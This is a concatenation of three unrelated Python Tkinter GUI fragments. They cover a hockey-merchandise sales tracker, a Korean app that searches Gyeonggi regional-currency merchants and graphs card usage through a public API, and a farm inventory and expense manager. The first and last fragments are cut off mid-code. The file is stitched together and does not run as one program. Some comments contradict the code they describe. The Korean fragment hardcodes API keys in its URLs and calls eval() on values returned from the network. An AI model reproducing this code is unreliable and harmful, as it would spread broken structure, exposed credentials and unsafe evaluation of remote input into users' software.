StringVar() self.hockeyStickSoldEntry = Entry(self, textvariable = self.hockeyStickSoldVar, width = 30) self.hockeyStickSoldEntry.pack() ## Creating space between the button on the GUI interface self._resultVar = StringVar() self._resultLabel = Label(self, text=" \n ", textvariable=self._resultVar) self._resultLabel.pack() ## Add button self._addButton = Button(self, text="Add", command=self._add) self._addButton.pack() self._resultVar = StringVar() self._resultLabel = Label(self, text=" \n ", textvariable=self._resultVar) self._resultLabel.pack() ## Delete button self._addButton = Button(self, text="Delete", command=self._delete) self._addButton.pack() self._resultVar = StringVar() self._resultLabel = Label(self, text=" \n ", textvariable=self._resultVar) self._resultLabel.pack() ## Exit button self._exitButton = Button(self, text="Exit", command=self._exit) self._exitButton.pack() self._resultVar = StringVar() self._resultLabel = Label(self, text=" \n ", textvariable=self._resultVar) self._resultLabel.pack() ## Best item sold button self._bestItemButton = Button(self, text="Best Item Sold", command=self._bestItem) self._bestItemButton.pack() self._resultVar = StringVar() self._resultLabel = Label(self, text=" \n ", textvariable=self._resultVar) self._resultLabel.pack() ## Worst item sold button self._worstItemButton = Button(self, text="Worst Item Sold", command=self._worstItem) self._worstItemButton.pack() self._resultVar = StringVar() self._resultLabel = Label(self, text=" \n ", textvariable=self._resultVar) self._resultLabel.pack() ## Best sales per game button self._itemButton = Button(self, text="Game for best Sales", command=self._item) self._itemButton.pack() ## this button is not packed but, it is needed to populate the table self._tableButton = Button(self, text = "Show the Complete table", command =self._maketable()) self._resultVar = StringVar() self._resultLabel = Label(self, text=" \n ", textvariable=self._resultVar) self._resultLabel.pack() ## Using empty sting label to display the different text on GUI Frame when clicking button self.resultBestLabel = Label(self, text = "") self.resultBestLabel.pack() self._treeview['columns']=('location', 'date', 'no_hats', 'val_hats', 'no_jerseys', 'val_jerseys', 'no_hockstick', 'val_hockstick', 'no_posters', 'val_posters','total_sales') ## Creating a columns name heading for the table self._treeview.heading('location', text = "Location") self._treeview.column('#0', width = 0) self._treeview.heading('date', text = "Date") self._treeview.heading('no_hats', text = "# hats") self._treeview.heading('val_hats', text = "$ hats") self._treeview.heading('no_jerseys', text = "# jerseys") self._treeview.heading('val_jerseys', text = "$ jerseys") self._treeview.heading('no_hockstick', text = "# hockey stick") self._treeview.heading('val_hockstick', text = "$ hockey stick") self._treeview.heading('no_posters', text = "# posters") self._treeview.heading('val_posters', text = "$ posters") self._treeview.heading('total_sales', text = "Total Sales") ## The column size is 100 for item in self._treeview['columns']: self._treeview.column(item, width = 100) self._treeview.pack() ## Calling for database table to be displayed on GUI frame def _maketable(self): makeTableDatabase(self) ## when clicking add button with the user input, it will get the user input and add the data to the database def _add(self): location = self.gameLocationVar.get() date = self.gameDateVar.get() hat = self.hatSoldVar.get() jersey = self.jerseySoldVar.get() stick = self.hockeyStickSoldVar.get() poster = self.posterSoldVar.get() hatTotal = int(hat) * 20 ## Calculate hat quantity sold with hat retail price of $20 jerseyTotal = int(jersey) * 40 ## Calculate jersey quantity sold with jersey retail price of $20 stickTotal = int(stick) * 30 ## Calculate hockey stick quantity sold with hockey stick retail price of $20 posterTotal = int(poster) * 10 ## Calculate poster quantity sold with poster retail price of $20 TotalSales = posterTotal + stickTotal + jerseyTotal + hatTotal # calculation of total sales of the game ## Calling add_data method with the user input and calculated value to a add a data to a database add_data(location, date, hat, hatTotal, jersey, jerseyTotal, stick, stickTotal, poster, posterTotal, TotalSales) ## update the data on the table update_table(self) ## when delete button is pressed, it will call deleteData method def _delete(self): deleteData(self) # when exit button is clicked, the GUI frame close def _exit(self): sys.exit() # when best item button is clicked, it will calculate the best item sold amount per game def _bestItem(self): bestItem(self) # when worst item button is clicked, it will calculate the worst item sold amount per game def _worstItem(self): worstItem(self) # when game for best sales button were clicked, it will display the game location # for the best total sales per game def _item(self): bestSalesGame(self)
class MainGUI(): def Selectclick(self,e): self.canvas.delete('all') self.selectResult = self.treeview.item(self.treeview.selection()[0]) self.canvas.create_text(200,30+20*0,text="시 :"+str(self.selectResult['values'][0]).strip(),font=("나눔고딕코딩", 10)) self.canvas.create_text(200,30+20*1,text="상호명 :"+str(self.selectResult['values'][1]).strip(),font=("나눔고딕코딩", 10)) self.canvas.create_text(200,30+20*2,text="업종종류 :"+str(self.selectResult['values'][2]).strip(),font=("나눔고딕코딩", 10)) self.canvas.create_text(200,30+20*3,text="도로명 주소 :"+str(self.selectResult['values'][3]).strip(),font=("나눔고딕코딩", 10)) self.canvas.create_text(200,30+20*4,text="지번주소 :"+str(self.selectResult['values'][4]).strip(),font=("나눔고딕코딩", 10)) self.canvas.create_text(200,30+20*5,text="전화번호 :"+str(self.selectResult['values'][5]).strip(),font=("나눔고딕코딩", 10)) self.canvas.create_text(200,30+20*6,text="우편번호 :"+str(self.selectResult['values'][6]).strip(),font=("나눔고딕코딩", 10)) self.canvas.create_text(200,30+20*7,text="위도 :"+str(self.selectResult['values'][7]).strip(),font=("나눔고딕코딩", 10)) self.canvas.create_text(200,30+20*8,text="경도 :"+str(self.selectResult['values'][8]).strip(),font=("나눔고딕코딩", 10)) self.mapButton['state'] = 'active' self.mailButton['state'] = 'active' def InitTreeView(self): self.resultFrame = LabelFrame(self.MainFrame1, bg="white", width=100, height=HEIGHT / 2) scrollbar = Scrollbar(self.resultFrame, width=17, bd=10) scrollbar.pack(side=RIGHT, fill=Y) scrollbar1 = Scrollbar(self.resultFrame, orient=HORIZONTAL, width=17, bd=10) scrollbar1.pack(side=BOTTOM, fill=X) # self.listBox = Listbox(self.resultFrame, width=100, height=20, yscrollcommand=scrollbar.set,xscrollcommand=scrollbar1.set) # self.listBox.pack(side="left") # scrollbar["command"] = self.listBox.yview # scrollbar1["command"] = self.listBox.xview self.treeview = Treeview(self.resultFrame, yscrollcommand=scrollbar.set, xscrollcommand=scrollbar1.set, columns=["1", "2", "3", "4", "5", "6", "7", "8", "9"]) self.treeview.column("#0", width=50) self.treeview.heading("#0", text="번호") self.treeview.column("#1", width=100) self.treeview.heading("#1", text="시", anchor='center') self.treeview.column("#2", width=100) self.treeview.heading("#2", text="상호명", anchor='center') self.treeview.column("#3", width=100) self.treeview.heading("#3", text="업종종류", anchor='center') self.treeview.column("#4", width=100) self.treeview.heading("#4", text="도로명주소", anchor='center') self.treeview.column("#5", width=100) self.treeview.heading("#5", text="지번주소", anchor='center') self.treeview.column("#6", width=100) self.treeview.heading("#6", text="전화번호", anchor='center') self.treeview.column("#7", width=90) self.treeview.heading("#7", text="우편번호", anchor='center') self.treeview.column("#8", width=90) self.treeview.heading("#8", text="위도", anchor='center') self.treeview.column("#9", width=100) self.treeview.heading("#9", text="경도", anchor='center') self.treeview.bind("<Double-1>", self.Selectclick) #더블클릭하면 이벤트 #self.resultFrame.grid(stick=W + S, padx=5) self.resultFrame.grid(row=1,column=0, padx=5,pady=5,sticky=W) self.treeview.pack(side='left', fill=X) scrollbar["command"] = self.treeview.yview scrollbar1["command"] = self.treeview.xview pass def searchXML(self, cityName,storeName="",roadAddress="",localAddress=""): #self.listBox.delete(0,"end") self.treeview.delete(*self.treeview.get_children()) cityCode = spam.queryCode(cityName.split('/')[1]) cnt=0 #encText = urllib.parse.quote("부천시") storeName=urllib.parse.quote(storeName) roadAddress=urllib.parse.quote(roadAddress) localAddress=urllib.parse.quote(localAddress) for i in range(1, 100): #원래 100에 1000개많큼 읽기 url = "https://openapi.gg.go.kr/RegionMnyFacltStus?KEY=2902618a276345c78da7557883182ca9&pIndex=" + str( i) + "&pSize=1000&SIGUN_CD=" + str(cityCode)+"&CMPNM_NM="+storeName+"&REFINE_ROADNM_ADDR="+roadAddress+"&REFINE_LOTNO_ADDR="+localAddress req = urllib.request.Request(url) resp = urllib.request.urlopen(req) strXml = resp.read().decode('utf-8') if 'INFO-200' in strXml: break tree = ElementTree.fromstring(strXml) items = tree.iter("row") for j in items: rStr = [] if j.find('SIGUN_NM').text: # 시이름 0 rStr.append(j.find('SIGUN_NM').text) else: rStr.append("정보 없음") if j.find('CMPNM_NM').text: # 상점이름 1 rStr.append(j.find('CMPNM_NM').text) else: rStr.append("정보 없음") if j.find('INDUTYPE_NM').text: # 업종이름 2 rStr.append(j.find('INDUTYPE_NM').text) else: rStr.append("정보 없음") if j.find('REFINE_ROADNM_ADDR').text: # 도로명 주소 3 rStr.append(j.find('REFINE_ROADNM_ADDR').text) else: rStr.append("정보 없음") if j.find('REFINE_LOTNO_ADDR').text: # 지번 주소 4 rStr.append(j.find('REFINE_LOTNO_ADDR').text) else: rStr.append("정보 없음") if j.find('TELNO').text: # 전화 번호 5 rStr.append(j.find('TELNO').text) else: rStr.append("정보 없음") if j.find('REFINE_ZIP_CD').text: # 우편 번호 6 rStr.append(j.find('REFINE_ZIP_CD').text) else: rStr.append("정보 없음") if j.find('REFINE_WGS84_LAT').text: # 위도 7 rStr.append(j.find('REFINE_WGS84_LAT').text) else: rStr.append("정보 없음") if j.find('REFINE_WGS84_LOGT').text: # 경도 8 rStr.append(j.find('REFINE_WGS84_LOGT').text) else: rStr.append("정보 없음") temp = "" tuple(rStr) self.treeview.insert("",'end', text=str(cnt), values=rStr, iid=str(cnt) + "번") cnt += 1 '''for k in range(len(rStr)): temp += (rStr[k] + " ") cnt += 1 self.listBox.insert("end",str(cnt)+" "+temp)''' def search(self): self.mapButton['state']='disable' self.rLst=self.searchXML(self.local.get(),storeName=self.storeName.get(), roadAddress=self.roadAddress.get(),localAddress=self.localAddress.get()) #storeName="",storeType="",roadAddress="" def SearchMap(self): # 위도 경도 지정 x=eval(self.selectResult['values'][7]) y=eval(self.selectResult['values'][8]) map_osm = folium.Map(location=[x, y], zoom_start=13) folium.Marker([x, y], popup=self.selectResult['values'][1]).add_to(map_osm) map_osm.save('osm.html') webbrowser.open_new('osm.html') def sendMail(self): address=self.mailAdress.get() if address=="": self.mailAdress.set("여기에 메일주소를 꼭 넣어야 메일 보낼 수 있어요") htmlWrite(self.selectResult['values']) SendMail(address) def InitCityNames(self): self.local = StringVar() self.local.set("가평군/Gapyeong") data = ["가평군/Gapyeong", "고양시/Goyang", "과천시/Gwacheon", "광명시/Gwangmyeong", "광주시/Gwangju", "구리시/Guri", "군포시/Gunpo", "김포시/Gimpo", "남양주시/Namyangju", "동두천시/Dongducheon", "부천시/Bucheon", "성남시/Seongnam", "수원시/Suwon", "시흥시/Siheung", "안산시/Ansan", "안성시/Anseong", "안양시/Anyang", "양주시/Yangju", "양평군/Yangpyeong", "여주시/Yeoju", "연천군/Yeoncheon", "오산시/Osan", "용인시/Yongin", "의왕시/Uiwang", "의정부시/Uijeongbu", "이천시/Icheon", "파주시/Paju", "평택시/Pyeongtaek", "포천시/Pocheon", "하남시/Hanam", "화성시/Hwaseong" ] Combobox(self.searchFrame, values=data,textvariable=self.local, font=("휴먼매직체",28),justify=RIGHT, width=30).grid(row=0,column=2) def DrawGraph(self): self.FrameName['text'] = self.local1.get() + " 월별 지역화폐 카드 사용량 비교" result = [] # == 결과 가져오기 cityName = self.local1.get() #local1은 그래프 cityCode = spam.queryCode(cityName.split('/')[1]) url = "https://openapi.gg.go.kr/RegionMnyPublctUse?KEY=67a6b558f57643aca2706cc7b8a40bb7&pIndex=1&pSize=1000&SIGUN_CD=" + str(cityCode) req = urllib.request.Request(url) resp = urllib.request.urlopen(req) strXml = resp.read().decode('utf-8') tree = ElementTree.fromstring(strXml) items = tree.iter("row") for j in items: rStr = [] if j.find('CARD_USE_AMT').text!=None: # 사용량 if j.find('STD_YM').text: # 날짜 if (j.find('STD_YM').text).split('-')[1]>'06': rStr.append('2019-'+j.find('STD_YM').text.split('-')[1]) else: rStr.append(j.find('STD_YM').text) if j.find('SIGUN_NM').text: # 시이름 0 rStr.append(j.find('SIGUN_NM').text) if j.find('CARD_USE_AMT').text: # 사용량 rStr.append(j.find('CARD_USE_AMT').text) temp=tuple(rStr) result.append(temp) result=list(set(result)) result.sort() #정보 뽑아내기 성공! counts = [eval(result[x][2]) for x in range(len(result))] maxCount=max(counts) #가장 높은 값 뽑아내기 HEIGHT=400 rangeValue=len(counts) barWidth = (1200 - rangeValue) / rangeValue # 1개 막대그래프의 너비 self.graphCanvas.delete('histogram') for i in range(rangeValue): color = '{:06x}'.format(random.randint(0, 0x1000000)) self.graphCanvas.create_rectangle(50 + i * barWidth, (HEIGHT - (HEIGHT - 80) * (counts[i] / maxCount))-40, 50+ (i + 1) * barWidth, HEIGHT-20,fill=('#'+color), tags='histogram') self.graphCanvas.create_text(100 + i * barWidth, (HEIGHT - (HEIGHT - 80) * counts[i] / maxCount) - 50, text=str(counts[i]), tags='histogram') self.graphCanvas.create_text(100 + i * barWidth, HEIGHT-10, text=str(result[i][0]), tags='histogram') def InitGraph(self): self.local1 = StringVar() self.local1.set("가평군/Gapyeong") data = ["가평군/Gapyeong", "고양시/Goyang", "과천시/Gwacheon", "광명시/Gwangmyeong", "광주시/Gwangju", "구리시/Guri", "군포시/Gunpo", "김포시/Gimpo", "남양주시/Namyangju", "동두천시/Dongducheon", "부천시/Bucheon", "성남시/Seongnam", "수원시/Suwon", "시흥시/Siheung", "안산시/Ansan", "안성시/Anseong", "안양시/Anyang", "양주시/Yangju", "양평군/Yangpyeong", "여주시/Yeoju", "연천군/Yeoncheon", "오산시/Osan", "용인시/Yongin", "의왕시/Uiwang", "의정부시/Uijeongbu", "이천시/Icheon", "파주시/Paju", "평택시/Pyeongtaek", "포천시/Pocheon", "하남시/Hanam", "화성시/Hwaseong" ] Combobox(self.MainFrame2, values=data, textvariable=self.local1, font=("휴먼매직체", 28), justify=RIGHT, width=20).grid(row=0,column=0,sticky=N+W) self.graphFrame=Frame(self.MainFrame2) self.FrameName = Label(self.graphFrame, text=self.local1.get() + " 월별 지역화폐 카드 사용량 비교", bg='white',font=("휴먼매직체 28 bold")) self.FrameName.pack(side='top') self.graphFrame.grid(sticky=N+W,pady=10) self.graphCanvas=Canvas(self.graphFrame,width=1300,height=400,bg='white') self.graphCanvas.pack(pady=10) self.drawButton = Button(self.graphFrame, text="그래프 그리기", command=self.DrawGraph) self.drawButton.pack() def telBot(self): teller.action() pass def __init__(self): self.window=Tk() self.window.title("경기도지역화페 가맹점 검색") self.window.geometry("1400x680") self.window.configure(background='lightBlue') self.notebook = tkinter.ttk.Notebook(self.window, width=1400, height=680) self.notebook.pack() self.MainFrame1=Frame(self.window,background='lightBlue') self.notebook.add(self.MainFrame1, text="검색하기") #이미지 넣기 photo=PhotoImage(file="Gmoney.png") imageLabel=Label(self.MainFrame1,image=photo,background='lightBlue') imageLabel.grid(row=0,column=1,pady=10,sticky=N+E+W) self.rLst=[] #검색결과 리스트 self.selectResult=None #선택된 결과 self.searchFrame=LabelFrame(self.MainFrame1) #self.searchFrame.grid(sticky=W+N,padx=5) self.searchFrame.grid(row=0,column=0,padx=5) Label(self.searchFrame,text="지역", font = ("휴먼매직체",30)).grid(row=0,column=1) Label(self.searchFrame,text="상호명", font = ("휴먼매직체",30)).grid(row=1,column=1) Label(self.searchFrame,text="도로명주소", font = ("휴먼매직체",30)).grid(row=2,column=1) Label(self.searchFrame,text="지번주소", font = ("휴먼매직체",30)).grid(row=3,column=1) Label(self.searchFrame,text="이메일", font = ("휴먼매직체",30)).grid(row=4,column=1) #self.local = StringVar() //함수로 잘되면 이부분 지우기 #Entry(self.searchFrame, textvariable=self.local, font=("휴먼매직체", 30), justify=RIGHT, width=30).grid(row=0,column=2) self.InitCityNames() self.storeName = StringVar() Entry(self.searchFrame, textvariable=self.storeName, font = ("휴먼매직체",30), justify=RIGHT,width=30).grid(row=1, column=2) self.roadAddress = StringVar() #도로명주소 Entry(self.searchFrame, textvariable=self.roadAddress, font = ("휴먼매직체",30), justify=RIGHT,width=30).grid(row=2, column=2) self.localAddress = StringVar() # 지번주소 Entry(self.searchFrame, textvariable=self.localAddress, font=("휴먼매직체", 30), justify=RIGHT, width=30).grid(row=3, column=2) self.mailAdress = StringVar() #이거는 메일주소 self.mailAdress.set("") Entry(self.searchFrame, textvariable=self.mailAdress, font=("휴먼매직체", 30), justify=RIGHT, width=30).grid(row=4,column=2) #self.futureValue = StringVar() //이거뭐야? #Label(self.searchFrame, textvariable=self.futureValue).grid(row=5, column=2, stick=E) Button(self.searchFrame, text="검색하기", font = ("휴먼매직체",20),command=self.search).grid(row=5, column=2, stick=E) #검색 결과 리스트박스 스크롤바가 있는 프레임 self.InitTreeView() self.canvasFrame=Frame(self.MainFrame1,height=100) self.canvasFrame.grid(row=1,column=1,pady=5,padx=5,sticky=S+N) self.canvas=Canvas(self.canvasFrame,bg='white') Label(self.canvasFrame, text="가맹점 정보",font=("궁서체 15 bold")).pack(anchor='n') self.canvas.pack(anchor='center') self.mapButton=Button(self.canvasFrame,text="지도",command=self.SearchMap) self.mapButton['state']='disable' self.mapButton.pack(side=LEFT,padx=5) self.mailButton = Button(self.canvasFrame, text="메일 보내기", command=self.sendMail) self.mailButton['state'] = 'disable' self.mailButton.pack(side=LEFT,padx=5) #self.telButton = Button(self.canvasFrame, text="텔레그램 봇 연결", command=self.telBot) #self.telButton.pack(side=LEFT, padx=5) self.MainFrame2=Frame(self.window,background='lightBlue') self.notebook.add(self.MainFrame2,text="도시별 월 사용 비교") self.InitGraph() self.window.mainloop()
class Expenses(Frame): # Creates the first option menus in the expense window def createOptionButtons(self): self.master.title("Expenses") # Creates the add item to inventory button addItem = Button(root, text="Add item to inventory", command=lambda: self.sequence(self.addItem))#addItem(master))) # This button will send to the user to the add item page addItem.place(x = 130, y = 100) # Creates the view items in inventory button inventoryButton = Button(root, text="View items in inventory", command=lambda: self.sequence(self.viewInveroty)) # This button will send the user to the view inventory page inventoryButton.place(x = 130, y = 150) # Create the total cost button totalCost = Button(root, text="Total Cost", command=lambda: self.sequence(self.viewTotalCost)) totalCost.place(x = 130, y = 200) # Creates the back button backButton = Button(root, text="Back", command=returnHome) # This button will return the user to the main page. Still working on it. backButton.place(x = 50, y = 350) # Creates the add item to inventory button and entries def addItem(self): self.master.title("Add new item") # Changes the title of the page to Add New Item # Creates a label called nameOfItems and an entry called itemName nameOfItem = Label(root, text="Item Name: ") nameOfItem.place(x = 110, y = 100) self.itemName = Entry(root) # This will allow the user to enter the name of the item that they will be adding self.itemName.place(x = 190, y = 100) # Creates the label called itemTypeLabel and a drop down menu called itemTypeChoice itemTypeLabel = Label(root, text = "Item's type: ") itemTypeLabel.place(x = 110, y = 160) self.itemTypeChoice = StringVar(root) # This makes itemTypeChoice a permanent String self.itemTypeChoice.set("Tree") # Tree is set to the default string of itemTypeChoice typeChoices = OptionMenu(root, self.itemTypeChoice, "Tree", "Animal", "Machine") # Drop down menu is created and options Tree, Animal, and Machine are added to the menu typeChoices.place(x = 190, y = 160) backButton = Button(root, text = "Back", command=lambda: self.sequence(self.createOptionButtons)) backButton.place(x = 50, y = 350) # Next button nextButton = Button(root, text = "Next", command=self.saveNameAndType) #This button will send the user to the add inventory page nextButton.place(x = 350, y = 350) # Function that creates a new item object and assigns it a name and the type def saveNameAndType(self): name = self.itemName.get() self.item = Inventory(name) itemType = self.itemTypeChoice.get() self.item.itemType = itemType self.sequence(self.addToInventory) # Creates the add to inventory options def addToInventory(self): self.master.title("Add %s to %s inventory" % (self.item.name, self.item.itemType)) # This assigns the variables month, day, and year to be value holder for integer values # They are also set to be values of the class expenses (by using self) so that they can # be used in the function updateDay and SaveDate self.month = IntVar(self) self.day = IntVar(self) self.year = IntVar(self) # This trace function is used to keep track of when the selected months and years change. This is # done to adjust the days of the month according to the month or the year self.month.trace('w', self.updateDay) self.year.trace('w', self.updateDay) numMonths = self.nums(1, 12) # Runs the nums function that creates a list from 1 to 12 numYears = self.nums(2015, 2030) # Runs the nums function that creates a list from 2015 to 2030 # This creates the drop down menu and assigns the options is the menu. The day menu is left empty and # is assigned in the updateDay function self.optionmenu_month = OptionMenu(root, self.month, *numMonths) self.optionmenu_day = OptionMenu(root, self.day, '') self.optionmenu_year = OptionMenu(root, self.year, *numYears) # Sets the default value of the month and year options to 1 and 2015 respectively self.month.set(numMonths[0]) self.year.set(numYears[0]) self.optionmenu_month.place(x = 100, y = 120) self.optionmenu_day.place(x = 150, y = 120) self.optionmenu_year.place(x = 200, y = 120) datePurchased = Label(root, text = "Date Purchased") datePurchased.place(x = 150, y = 95) quantityPurchasedLabel = Label(root, text="Amount purchased:") quantityPurchasedLabel.place(x = 50, y = 180) self.quantityPurchasedEntry = Entry(root, bd=5) # Creates input box for user to insert the amount of items purchased self.quantityPurchasedEntry.place(x = 180, y = 180) pricePaidLabe = Label(root, text="Price paid for all: ") pricePaidLabe.place(x = 50, y = 210) self.pricePaidEntry = Entry(root, bd=5) # Creates input box for user to insert the price paid for the item self.pricePaidEntry.place(x = 180, y = 210) backButton = Button(root, text = "Back", command=lambda: self.sequence(self.addItem)) backButton.place(x = 50, y = 350) nextButton = Button(root, text = "Next", command=self.saveQuanAndPrice) nextButton.place(x = 350, y = 350) # This function will update the days of the month according to the selected month and year def updateDay(self, *args): # The .get() will obtain the selected month and year values from the drop down menu above month = self.month.get() year = self.year.get() # Creates a loop which chooses the last day of the month according to the month or the year if month == 1 or month == 3 or month == 5 or month == 7 or month == 8 or month == 10 or month == 12: lastDay = 31 elif month == 4 or month == 6 or month == 9 or month == 11: lastDay = 30 # This elif loop uses the leap year formula at account for leap years elif month == 2: if (year % 4) == 0: if (year % 100) == 0: if (year % 400) == 0: lastDay = 29 else: lastDay = 28 else: lastDay = 29 else: lastDay = 28 numDays = self.nums(1,lastDay) # Assigns menu to the day drop down menu and deletes all of the options in the menu menu = self.optionmenu_day['menu'] menu.delete(0, 'end') # Loop for generating the new day menu for day in numDays: menu.add_command(label=day, command=lambda d = day: self.day.set(d)) self.day.set(1) # Function that creates the range of numbers for the drop down menu def nums(self, numStart, numEnd): num = range(numStart, numEnd + 1) return num # Function that assigns the price and quantity to an item def saveQuanAndPrice(self): self.item.price = self.pricePaidEntry.get() self.item.quantity = self.quantityPurchasedEntry.get() self.saveDate() self.sequence(self.confirmation) # Function that assigns the purchase date to an item def saveDate(self): self.item.purchaseMonth = self.month.get() self.item.purchaseDay = self.day.get() self.item.purchaseYear = self.year.get() self.item.purchaseDate = ("%s/%s/%s" % (self.item.purchaseMonth, self.item.purchaseDay, self.item.purchaseYear)) # Function that displays the user inputted information def confirmation(self): self.master.title("Confirm %s information" % self.item.name) name = Label(root, text="Name of item: ") name.place(x = 100, y = 50) itemName = Label(root, text=self.item.name) itemName.place(x = 100, y = 65) type = Label(root, text="%s type: " % self.item.name) type.place(x = 100, y = 90) itemType = Label(root, text=self.item.itemType) itemType.place(x = 100, y = 105) quantity = Label(root, text="How many %s were bought?" % self.item.name) quantity.place(x = 100, y = 130) itemQuantity = Label(root, text=self.item.quantity) itemQuantity.place(x = 100, y = 145) price = Label(root, text="How much did the %s %s cost?" % (self.item.quantity, self.item.name)) price.place(x = 100, y = 170) itemPrice = Label(root, text=self.item.price) itemPrice.place(x = 100, y = 185) date = Label(root, text="When were %s bought?" % self.item.name) date.place(x = 100, y = 210) itemDate = Label(root, text=self.item.purchaseDate) itemDate.place(x = 100, y = 225) backButton = Button(root, text = "Back", command=lambda: self.sequence(self.addToInventory)) backButton.place(x = 50, y = 350) startOverButton = Button(root, text = "Start Over", command=lambda: self.sequence(self.createOptionButtons)) startOverButton.place(x = 200, y = 350) confirmButton = Button(root, text = "Confirm", command=lambda: self.sequence(self.addToDatabase)) confirmButton.place(x = 320, y = 350) # Adds the item to the database def addToDatabase(self): self.inventoryDB.insertInvetory(self.item) return self.successful() # Displays a success message when the item is added def successful(self): self.master.title("%s was added successfully!" % self.item.name) succMessage = Message(root, text = "%s was successfully added to the %s list!" % (self.item.name, self.item.itemType)) succMessage.place(x = 150, y = 150) startOverButton = Button(root, text = "Start Over", command=lambda: self.sequence(self.createOptionButtons))#self.saveNameAndType(itemName)))#(self.saveNameAndType(itemName))) # (itemName)))# lambda: self.sequence(self.test)) #This button will send the user to the add inventory page startOverButton.place(x = 150, y = 350) # Used to view the inventory def viewInveroty(self): # Creates the label called chooseTypeLabel and a drop down menu called chooseItemType chooseTypeLabel = Label(root, text = "Item's type: ") chooseTypeLabel.place(x = 110, y = 160) self.chooseItemType = StringVar(root) # The drop down menu is created and assigned to chooseItemType self.chooseItemType.set("Tree") # Tree is set to the default option in the drop down menu typeChoices = OptionMenu(root, self.chooseItemType, "Tree", "Animal", "Machine", "All") # Options Tree, Animal, Machine, and ALL are added to the drop down menu typeChoices.place(x = 190, y = 160) backButton = Button(root, text = "Back", command=lambda: self.sequence(self.createOptionButtons)) # This button will return the user to the expenses option page backButton.place(x = 50, y = 350) nextButton = Button(root, text = "Next", command=lambda: self.sequence(self.displayGeneralInventory))#self.saveNameAndType(itemName)))#(self.saveNameAndType(itemName))) # (itemName)))# lambda: self.sequence(self.test)) #This button will send the user to the add inventory page nextButton.place(x = 350, y = 350) # Used to create the inventory table def displayGeneralInventory(self): # This creates a table using the function Treeview self.tree = Treeview(height="20", columns=("Name", "Current Quantity")) self.tree.pack() self.tree.heading('#1', text = "Name", anchor = CENTER) self.tree.heading('#2', text = "Current Quantity", anchor = CENTER) self.tree.column('#1', minwidth=0, width = 100) self.tree.column('#2', minwidth=0, width = 100) self.tree.column('#0', minwidth=0, width = 0) itemType = self.chooseItemType.get() if(itemType == "All"): self.obtainData("Tree") self.obtainData("Animal") self.obtainData("Machine") else: self.obtainData(itemType) # Adds database data to the inventory table def obtainData(self, type): for row in (self.inventoryDB.getOverviewInventory(type)): name = row[0] totalQuantity = row[1] # Inserts data into the table. Each entry is tagged with the name and the type # This is done in order to make identifying the entries easier for when detailed # tables are requested self.tree.insert("", "end", values = (name,totalQuantity), tag= [name, type]) # Creates a bak function that is used in the displayGeneralInventory functions self.backFunction = self.displayGeneralInventory # Binds a double click function to the Treeview table. If an entry is double clicked, # the function displayGeneralInventory is ran self.tree.bind("<Double-1>", self.displayDetailedInventory) backButton = Button(root, text="Back", command=lambda: self.sequence(self.viewInveroty)) # This button will return the user to the main page. Still working on it. backButton.place(x = 50, y = 350) # Creates table when an entry is double clicked def displayDetailedInventory(self, event): # The selected item's tag are extracted and assigned to name and type itemSelected = self.tree.selection() name = self.tree.item(itemSelected,"tag")[0] type = self.tree.item(itemSelected, "tag")[1] for child in root.winfo_children(): child.destroy() self.createDisplayTable() self.obtainDetailedData(name, type) # Adds detailed database data to the inventory table def obtainDetailedData(self,name, type): for row in (self.inventoryDB.getDetailedInventory(type, name)): name = row[0] purchaseDate = row[1] Quantity = row[3] Price = row[4] self.tree.insert("", "end", values = (name,purchaseDate,Quantity, Price)) backButton = Button(root, text="Back", command=lambda: self.sequence(self.backFunction)) backButton.place(x = 50, y = 350) # Creates the view total cost by month and year buttons def viewTotalCost(self): viewMonth = Button(root, text="View by month", command=lambda: self.sequence(self.viewByMonth)) viewMonth.place(x = 120, y = 100) viewYear = Button(root, text="View by year", command=lambda: self.sequence(self.viewByYear)) viewYear.place(x = 120, y = 150) backButton = Button(root, text="Back", command=lambda: self.sequence(self.createOptionButtons))#displayGeneralInventory)) # This button will return the user to the main page. Still working on it. backButton.place(x = 50, y = 350) # Creates the options for the user to select a month and year def viewByMonth(self): monthLabel = Label(root, text="Month") yearLabel = Label(root, text="Year") self.month = IntVar(self) self.year = IntVar(self) numMonths = self.nums(1, 12) numYears = self.nums(2015, 2030) self.optionmenu_month = OptionMenu(root, self.month, *numMonths) self.optionmenu_year = OptionMenu(root, self.year, *numYears) self.month.set(numMonths[0]) self.year.set(numYears[0]) self.optionmenu_month.place(x = 100, y = 100) self.optionmenu_year.place(x = 150, y = 100) monthLabel.place(x = 100, y = 140) yearLabel.place(x = 150, y = 140) backButton = Button(root, text = "Back", command=lambda: self.sequence(self.viewTotalCost)) # This button will return the user to the expenses option page backButton.place(x = 50, y = 350) nextButton = Button(root, text = "Next", command= self.viewTotalCostMonth)#self.viewTotalCostMonth)#self.saveNameAndType(itemName)))#(self.saveNameAndType(itemName))) # (itemName)))# lambda: self.sequence(self.test)) #This button will send the user to the add inventory page nextButton.place(x = 350, y = 350) # Creates database table and inserts the respective values by month and year def viewTotalCostMonth(self): self.createDisplayTable() self.totalPrice = 0 month = self.month.get() year = self.year.get() self.lengthMonth = len(str(month)) self.searchDate = str(month) + "/" + str(year) InventoryDB = getDatabaseConnection() database = InventoryDB.cursor() self.insertData("DetailedTreeInventory", "Tree", database, "Month") self.insertData("DetailedAnimalInventory", "Animal", database, "Month") self.insertData("DetailedMachineInventory", "Machine", database, "Month") InventoryDB.close() totalPriceLabel = Label(root, text=("Total price for " + calendar.month_name[month] + " in " + str(year) + " is: " + str(self.totalPrice))) totalPriceLabel.place(x = 100, y = 350) backButton = Button(root, text = "Back", command=lambda: self.sequence(self.viewByMonth)) # This button will return the user to the expenses option page backButton.place(x = 50, y = 350) # Creates the option for the user to select the year def viewByYear(self): yearLabel = Label(root, text="Year") self.year = IntVar(self) numYears = self.nums(2015, 2030) self.optionmenu_year = OptionMenu(root, self.year, *numYears) self.year.set(numYears[0]) self.optionmenu_year.place(x = 100, y = 100) yearLabel.place(x = 100, y = 140) backButton = Button(root, text = "Back", command=lambda: self.sequence(self.viewTotalCost)) # This button will return the user to the expenses option page backButton.place(x = 50, y = 350) nextButton = Button(root, text = "Next", command= self.viewTotalCostYear)#self.viewTotalCostMonth)#self.saveNameAndType(itemName)))#(self.saveNameAndType(itemName))) # (itemName)))# lambda: self.sequence(self.test)) #This button will send the user to the add inventory page nextButton.place(x = 350, y = 350) # Creates database table and inserts the respective values by year def viewTotalCostYear(self): self.createDisplayTable() self.totalPrice = 0 year = self.year.get() InventoryDB = getDatabaseConnection() database = InventoryDB.cursor() self.insertData("DetailedTreeInventory", "Tree", database, "Year") self.insertData("DetailedAnimalInventory", "Animal", database, 